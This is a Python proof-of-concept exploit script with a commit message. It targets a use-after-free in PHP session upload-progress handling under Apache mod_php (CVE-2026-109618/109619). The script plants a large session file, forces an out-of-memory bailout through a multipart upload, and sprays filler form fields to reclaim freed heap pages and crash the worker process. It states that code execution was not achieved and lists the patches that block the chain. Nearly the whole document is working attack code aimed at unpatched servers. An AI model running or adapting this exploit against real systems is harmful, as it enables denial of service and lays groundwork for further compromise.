neko
fbaced0a77
Rewrote the exploit to correctly avoid GET requests between OOM trigger and crash verification (RINIT zeros BG state on every request). Filler field spray (100 x 8200B = 300 pages) reliably reclaims the stale struct pages. Crash confirmed on first attempt. Updated README and FINDINGS to accurately describe: - The 8216-byte struct (3 pages), not the earlier 64-byte bin - GC header overlap that blocks controlled RCE (offsets 0-23) - Three independent patch layers in PHP 8.3.36/8.4.27/8.5.12 - Honest exploitation status: UAF crash confirmed, RCE not achieved
577 lines
23 KiB
Python
577 lines
23 KiB
Python
#!/usr/bin/env python3 -I
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"""
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CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
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Apache mod_php (prefork MPM), no LFI, no framework dependencies
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Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26,
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8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack
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chain with three independent defense layers:
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1. php_basic_early_rinit() resets BG(serialize/unserialize) each request
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2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM)
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3. Session handler hardening (incomplete_classes_only mode during RFC1867)
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Vulnerability chain:
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CVE-2026-109618: OOM in the multipart parser triggers zend_bailout()
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(longjmp), which skips php_var_unserialize_destroy(). This leaves
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BG(unserialize).level=1 and BG(unserialize).data pointing at a freed
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php_unserialize_data struct (8216 bytes, 3 ZendMM pages).
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CVE-2026-109619: The session upload progress globals populated by
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the RFC1867 callback survive into the next request. On the next
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request, sapi_activate() runs the RFC1867 callback BEFORE
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PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls
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php_session_decode() -> php_var_unserialize_init(), which sees
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BG(unserialize).level > 0 and returns the stale .data pointer.
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Classic use-after-free.
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Attack phases:
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Phase 1 (Plant): Write a large session file (~682KB, 33000 entries)
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that will trigger HashTable resize needing ~2.25MB when decoded.
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Phase 2 (OOM): Multipart upload referencing that session ID.
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RFC1867 progress callback reads and decodes the session file.
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HashTable resize exceeds memory_limit, OOM fires zend_bailout().
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Worker survives. BG(unserialize).level=1, .data=freed heap pointer.
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Phase 3 (Crash): Another upload (no intermediate GET requests, which
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would zero BG state via RINIT). Filler form fields create many
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3-page zend_string allocations that consume ZendMM pages up to the
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stale struct's position (~page 288). The struct's 'last' pointer
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(offset 0) is overwritten by the zend_string GC header (refcount +
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type_info), which is not a valid heap address. var_push reads
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'last' and dereferences it -> SIGSEGV. Confirms the UAF.
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Requirements:
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- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
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- session.upload_progress.enabled=1 (default in php.ini)
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- memory_limit low enough for session data to trigger OOM
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- Any reachable PHP URL on the target (even a 404 page works)
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- A method to write a session file with many entries (Phase 1)
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- No LFI, no framework, no non-default config changes needed
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Exploitation notes:
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This PoC demonstrates the UAF primitive (stale pointer dereference)
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and crash (SIGSEGV from corrupted 'last' pointer). Full RCE from
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this primitive is blocked by an overlap between the struct's critical
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pointer fields (offsets 0-23: last, first_dtor, last_dtor) and the
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zend_string GC header (refcount, type_info, hash, len). These
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fields cannot be directly controlled by the attacker.
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Specifically:
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- 'last' = gc_refcount(4) + gc_type_info(4) -> invalid pointer
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- 'first_dtor' = hash(8) = 0 initially -> NULL (safe for var_destroy)
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- 'last_dtor' = len(8) = string length -> low address (crash)
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Controlled bytes start at offset 24 (allowed_classes, ref_props,
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max_depth, entries.used_slots, entries.next, entries.data[]), but
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var_push crashes before these fields are reached because it reads
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'last' first.
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Full RCE would require either:
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a) An info leak to construct a valid 'last' pointer in the GC header
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position (which would require a separate vulnerability)
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b) A different allocation type that gives control over offset 0 of
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a 3-page (8216-byte) ZendMM allocation
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Usage:
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python3 exploit.py --target http://host:port/index.php
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python3 exploit.py --target http://host:port/index.php --oom-only
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"""
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import argparse
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import os
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import re
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import socket
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import sys
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import time
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from urllib.parse import urlparse
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# ── Constants ────────────────────────────────────────────────────────
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UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages
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OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB
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SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL)
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SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288
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# ── Networking ───────────────────────────────────────────────────────
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def connect(host, port, timeout=30):
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return socket.create_connection((host, port), timeout=timeout)
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def recv_response(sock, timeout=10):
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resp = b""
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sock.settimeout(timeout)
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try:
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while True:
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d = sock.recv(8192)
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if not d:
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break
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resp += d
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except socket.timeout:
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pass
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return resp
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def parse_response(resp):
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status = 0
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body = b""
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if resp:
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try:
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status = int(resp.split(b" ")[1])
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except (IndexError, ValueError):
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pass
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if b"\r\n\r\n" in resp:
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body = resp.split(b"\r\n\r\n", 1)[1]
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return status, body
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def http_get(host, port, path, cookies=None, timeout=10):
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sock = connect(host, port, timeout=timeout)
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req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
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if cookies:
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req += f"Cookie: {cookies}\r\n"
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req += "Connection: close\r\n\r\n"
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sock.sendall(req.encode())
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resp = recv_response(sock, timeout=timeout)
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sock.close()
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return parse_response(resp)
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def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60):
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sock = connect(host, port, timeout=timeout)
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sock.sendall(headers_bytes + body_bytes)
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resp = recv_response(sock, timeout=timeout)
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sock.close()
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return parse_response(resp)
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def extract_pid(body):
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m = re.search(rb"pid=(\d+)", body)
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return int(m.group(1)) if m else 0
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# ── Multipart builders ──────────────────────────────────────────────
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def multipart_field(boundary, name, value):
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return (
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b"--" + boundary + b"\r\n"
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b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
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+ value + b"\r\n"
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)
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def multipart_file(boundary, name, filename, content):
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return (
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b"--" + boundary + b"\r\n"
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b'Content-Disposition: form-data; name="' + name
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+ b'"; filename="' + filename + b'"\r\n'
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b"Content-Type: application/octet-stream\r\n\r\n"
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+ content + b"\r\n"
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)
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def multipart_end(boundary):
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return b"--" + boundary + b"--\r\n"
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def post_multipart(host, port, path, boundary, body, sid=None, timeout=60):
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hdrs = (
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f"POST {path} HTTP/1.1\r\n"
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f"Host: {host}\r\n"
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f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
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f"Content-Length: {len(body)}\r\n"
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)
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if sid:
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hdrs += f"Cookie: PHPSESSID={sid}\r\n"
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hdrs += "Connection: close\r\n\r\n"
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return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout)
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# ── Session file generation ─────────────────────────────────────────
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def generate_session_data(n_entries):
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"""PHP session data that forces a large HashTable allocation on decode.
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33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes.
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"""
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parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)]
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inner = "".join(parts)
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return f'd|a:{n_entries}:{{{inner}}}'.encode()
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# ── Session file management ─────────────────────────────────────────
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def write_session_file(sid, data, save_path):
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import subprocess
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fpath = os.path.join(save_path, f"sess_{sid}")
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tmp = f"/tmp/sess_plant_{os.getpid()}"
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with open(tmp, "wb") as f:
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f.write(data)
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subprocess.run(["sudo", "cp", tmp, fpath],
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capture_output=True, check=True)
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subprocess.run(["sudo", "chown", "www-data:www-data", fpath],
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capture_output=True, check=True)
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subprocess.run(["sudo", "chmod", "600", fpath],
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capture_output=True, check=True)
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os.unlink(tmp)
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return fpath
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def read_session_file(sid, save_path):
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import subprocess
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fpath = os.path.join(save_path, f"sess_{sid}")
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r = subprocess.run(["sudo", "stat", "--format=%s", fpath],
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capture_output=True, text=True)
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if r.returncode != 0:
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return False, 0
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return True, int(r.stdout.strip())
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def ensure_session_file(sid, save_path, n_entries):
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exists, size = read_session_file(sid, save_path)
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if exists and size > 100000:
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return size
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data = generate_session_data(n_entries)
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write_session_file(sid, data, save_path)
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return len(data)
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# ── Phase 0: Worker discovery ───────────────────────────────────────
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def discover_workers(host, port, path, rounds=20):
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pids = set()
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for _ in range(rounds):
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try:
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_, body = http_get(host, port, path, timeout=5)
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pid = extract_pid(body)
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if pid:
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pids.add(pid)
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except (ConnectionError, socket.timeout, OSError):
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pass
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return sorted(pids)
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# ── Phase builders ──────────────────────────────────────────────────
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def build_oom_trigger(sid):
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boundary = b"OOM" + os.urandom(4).hex().encode()
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parts = [
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multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"),
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multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048),
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multipart_end(boundary),
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]
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return boundary, b"".join(parts)
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def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE):
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"""Multipart with filler fields to reclaim stale struct pages.
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Each field value is a 3-page zend_string. The GC header at offset
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0-7 overwrites 'last' with refcount|type_info = invalid pointer.
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When var_push reads 'last', it dereferences the invalid address.
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"""
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boundary = b"CRASH" + os.urandom(4).hex().encode()
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parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")]
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filler = b"\x41" * field_size
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for i in range(n_fields):
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parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler))
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parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512))
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parts.append(multipart_end(boundary))
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return boundary, b"".join(parts)
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def is_oom_response(status, body):
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return (
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b"memory size" in body
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or b"Allowed memory" in body
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or status == 500
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or status == 0
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)
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# ── Main ────────────────────────────────────────────────────────────
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def main():
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parser = argparse.ArgumentParser(
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description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
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)
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parser.add_argument("--target", "-t", required=True,
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help="Target URL, e.g. http://host:port/index.php")
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parser.add_argument("--session-path",
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default="/var/www/uaf-test/sessions",
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help="Session save_path on the target")
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parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES,
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help="Entries in OOM session file (default: 33000)")
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parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT,
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help="Filler fields for crash trigger (default: 100)")
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parser.add_argument("--oom-only", action="store_true",
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help="Stop after Phase 2 (OOM + stale state)")
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args = parser.parse_args()
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url = urlparse(args.target)
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host = url.hostname or "127.0.0.1"
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port = url.port or 80
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path = url.path or "/index.php"
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print("=" * 64)
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print(" CVE-2026-109618 / CVE-2026-109619")
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print(" Use-After-Free via OOM Bailout")
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print(" (Apache mod_php, prefork MPM)")
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print("=" * 64)
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print(f" Target: {host}:{port}{path}")
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print()
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# ── Phase 0: Worker discovery ──────────────────────────────────
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print("[*] Phase 0: Discovering workers...")
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pids = discover_workers(host, port, path)
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if not pids:
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print("[-] No workers found. Target must echo getmypid().")
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sys.exit(1)
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print(f" Workers: {pids}")
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target_pid = pids[0]
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# ── Phase 1: Plant large session file ──────────────────────────
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print()
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print("[*] Phase 1: Planting large session file...")
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sid = "uaf" + os.urandom(6).hex()
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print(f" SID: {sid}")
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print(f" Entries: {args.entries}")
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sess_size = ensure_session_file(sid, args.session_path, args.entries)
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print(f" Session file: {sess_size}B ({sess_size // 1024}KB)")
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print(f" HashTable resize on decode needs ~2.25MB")
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# ── Phase 2: OOM trigger ───────────────────────────────────────
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print()
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print("[*] Phase 2: Triggering OOM during session decode...")
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print(" RFC1867 callback reads session -> decode -> OOM -> bailout")
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oom_success = False
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patched = False
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for attempt in range(len(pids) * 8):
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ensure_session_file(sid, args.session_path, args.entries)
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boundary, body = build_oom_trigger(sid)
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try:
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status, rbody = post_multipart(
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host, port, path, boundary, body, sid=sid, timeout=30)
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except (ConnectionError, socket.timeout, OSError):
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status, rbody = 0, b""
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if is_oom_response(status, rbody):
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if b"memory size" in rbody:
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tag = f"{status} (OOM in body)"
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elif status == 500:
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tag = "500"
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else:
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tag = "connection dropped"
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print(f" [{attempt+1}] OOM triggered ({tag})")
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# Detect patched vs unpatched via session file state.
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# UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED.
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# PATCHED: delayed OOM, decode completes, session rewritten smaller.
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time.sleep(0.3)
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exists, sz = read_session_file(sid, args.session_path)
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if not exists or sz == 0:
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print(f" Session file deleted/empty (bailout path = UNPATCHED)")
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elif sz < sess_size // 2:
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print(f" [!] Session file rewritten ({sz}B) (PATCHED)")
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patched = True
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oom_success = True
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break
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else:
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print(f" [{attempt+1}] status={status} (no OOM, retrying)")
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if not oom_success:
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print()
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print("[-] OOM trigger failed.")
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print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)")
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sys.exit(1)
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if patched:
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print()
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print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:")
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print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate")
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print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp")
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print(" 3. Session handler: incomplete_classes_only during RFC1867")
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return
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# Check worker survived (must do this BEFORE Phase 3, but note
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# this GET request will zero BG state on the worker it hits).
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# With MaxRequestWorkers=1, this targets the same worker.
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# We will re-trigger OOM before the crash attempt.
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time.sleep(0.5)
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pids_after = discover_workers(host, port, path, rounds=5)
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survived = set(pids) & set(pids_after)
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if not survived:
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print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)")
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sys.exit(1)
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target_pid = sorted(survived)[0]
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print(f" [+] Worker {target_pid} survived OOM")
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if args.oom_only:
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print()
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print("[+] Phase 2 complete.")
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print(" BG(unserialize).level=1, .data=freed heap pointer.")
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print(" (BG state zeroed by the verification GET above.)")
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return
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# ── Phase 3: UAF crash verification ───────────────────────────
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#
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# CRITICAL: no GET requests between the OOM trigger and the crash
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# trigger. PHP_RINIT_FUNCTION(basic) runs on every request and
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# zeros BG(unserialize), destroying the stale state.
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#
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# With prefork MaxRequestWorkers=1, all requests go to the same
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# worker. We re-trigger OOM (to set stale state), then immediately
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# send the crash trigger without any intermediate requests.
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#
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# Crash mechanism: filler form fields create 3-page zend_string
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# allocations that consume pages up to the stale struct's position
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# (~page 288 out of 512 in the ZendMM chunk). When a filler
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# zend_string lands on the stale pages, offset 0 (the 'last'
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# pointer) is overwritten with the zend_string GC header:
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# gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001
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# This is not a valid heap address. When the session decode calls
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# var_push(), it reads 'last' and dereferences it -> SIGSEGV.
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print()
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print("[*] Phase 3: UAF crash verification...")
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print(" Re-triggering OOM, then crash (no intermediate GET).")
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crashed = False
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for attempt in range(3):
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# Re-trigger OOM to set stale BG state
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ensure_session_file(sid, args.session_path, args.entries)
|
|
boundary, body = build_oom_trigger(sid)
|
|
try:
|
|
status, rbody = post_multipart(
|
|
host, port, path, boundary, body, sid=sid, timeout=30)
|
|
except (ConnectionError, socket.timeout, OSError):
|
|
status, rbody = 0, b""
|
|
|
|
if not is_oom_response(status, rbody):
|
|
print(f" [{attempt+1}] OOM re-trigger failed, retrying")
|
|
continue
|
|
|
|
time.sleep(0.3)
|
|
|
|
# Plant a small session (one entry). The decode calls var_push
|
|
# once, which reads the stale 'last' pointer and crashes.
|
|
small_session = b'x|s:3:"abc";'
|
|
write_session_file(sid, small_session, args.session_path)
|
|
|
|
# Send crash trigger DIRECTLY (no intermediate GET).
|
|
# Filler fields consume pages up to the stale struct.
|
|
boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields)
|
|
try:
|
|
status, rbody = post_multipart(
|
|
host, port, path, boundary, body, sid=sid, timeout=30)
|
|
except (ConnectionError, socket.timeout, OSError):
|
|
status, rbody = 0, b""
|
|
|
|
# Check if worker crashed (new PID or connection failure)
|
|
time.sleep(0.5)
|
|
try:
|
|
_, rbody2 = http_get(host, port, path, timeout=5)
|
|
pid_after = extract_pid(rbody2)
|
|
except (ConnectionError, socket.timeout, OSError):
|
|
pid_after = 0
|
|
|
|
if pid_after and pid_after != target_pid:
|
|
print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}")
|
|
print(f" Filler zend_strings reclaimed stale struct pages")
|
|
print(f" var_push read GC header as 'last' pointer -> SIGSEGV")
|
|
crashed = True
|
|
target_pid = pid_after
|
|
break
|
|
elif pid_after == target_pid:
|
|
print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)")
|
|
elif status == 0 and pid_after == 0:
|
|
print(f" [{attempt+1}] Server unresponsive")
|
|
else:
|
|
print(f" [{attempt+1}] Response: {status}")
|
|
|
|
print()
|
|
if crashed:
|
|
print("[+] USE-AFTER-FREE CONFIRMED")
|
|
print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)")
|
|
print(" was reclaimed by a filler zend_string. The GC header at offset 0")
|
|
print(" overwrote the 'last' pointer with refcount|type_info.")
|
|
print(" var_push dereferenced the invalid address -> SIGSEGV.")
|
|
else:
|
|
print("[*] No crash triggered (filler fields may have missed the pages).")
|
|
print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).")
|
|
print(" Try adjusting --spray-fields or re-running (heap layout varies).")
|
|
|
|
print()
|
|
print_summary(crash=crashed)
|
|
|
|
|
|
def print_summary(patched=False, crash=False):
|
|
print("=" * 64)
|
|
print(" Summary")
|
|
print("=" * 64)
|
|
print()
|
|
|
|
if patched:
|
|
print(" TARGET: PATCHED (not vulnerable)")
|
|
print()
|
|
print(" Three independent mitigations block the attack:")
|
|
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()")
|
|
print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)")
|
|
print(" 3. Session handler: incomplete_classes_only during RFC1867 decode")
|
|
return
|
|
|
|
print(" TARGET: UNPATCHED (vulnerable)")
|
|
print()
|
|
print(" Confirmed primitives:")
|
|
print(" [+] OOM during RFC1867 session decode")
|
|
print(" zend_bailout() longjmps past php_var_unserialize_destroy()")
|
|
print(" BG(unserialize).level=1, .data=freed heap pointer")
|
|
print(" Apache prefork worker survives, serves new requests")
|
|
if crash:
|
|
print(" [+] Use-After-Free crash on next request")
|
|
print(" Filler zend_strings reclaim stale struct pages")
|
|
print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV")
|
|
print()
|
|
print(" Exploitation status:")
|
|
print(" The UAF primitive (stale pointer reuse) is confirmed.")
|
|
if crash:
|
|
print(" Page reclamation via filler fields is confirmed.")
|
|
print(" However, full RCE is blocked by an inherent constraint:")
|
|
print(" the struct's critical pointer fields (offsets 0-23: last,")
|
|
print(" first_dtor, last_dtor) overlap with the zend_string GC header")
|
|
print(" (refcount, type_info, hash, len), which cannot be controlled")
|
|
print(" by the attacker.")
|
|
print()
|
|
print(" 'last' = gc_refcount + gc_type_info -> invalid pointer (crash)")
|
|
print(" 'first_dtor' = hash = 0 initially (safe, dtor chain empty)")
|
|
print(" 'last_dtor' = len = string length (low address, crash)")
|
|
print()
|
|
print(" Full RCE would require an info leak for valid pointer placement")
|
|
print(" at offset 0, or a different allocation type that gives control")
|
|
print(" over the first 24 bytes of an 8216-byte ZendMM allocation.")
|
|
print()
|
|
print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11")
|
|
print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12")
|
|
print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1")
|
|
print(" No LFI, no framework, no application-level access needed.")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|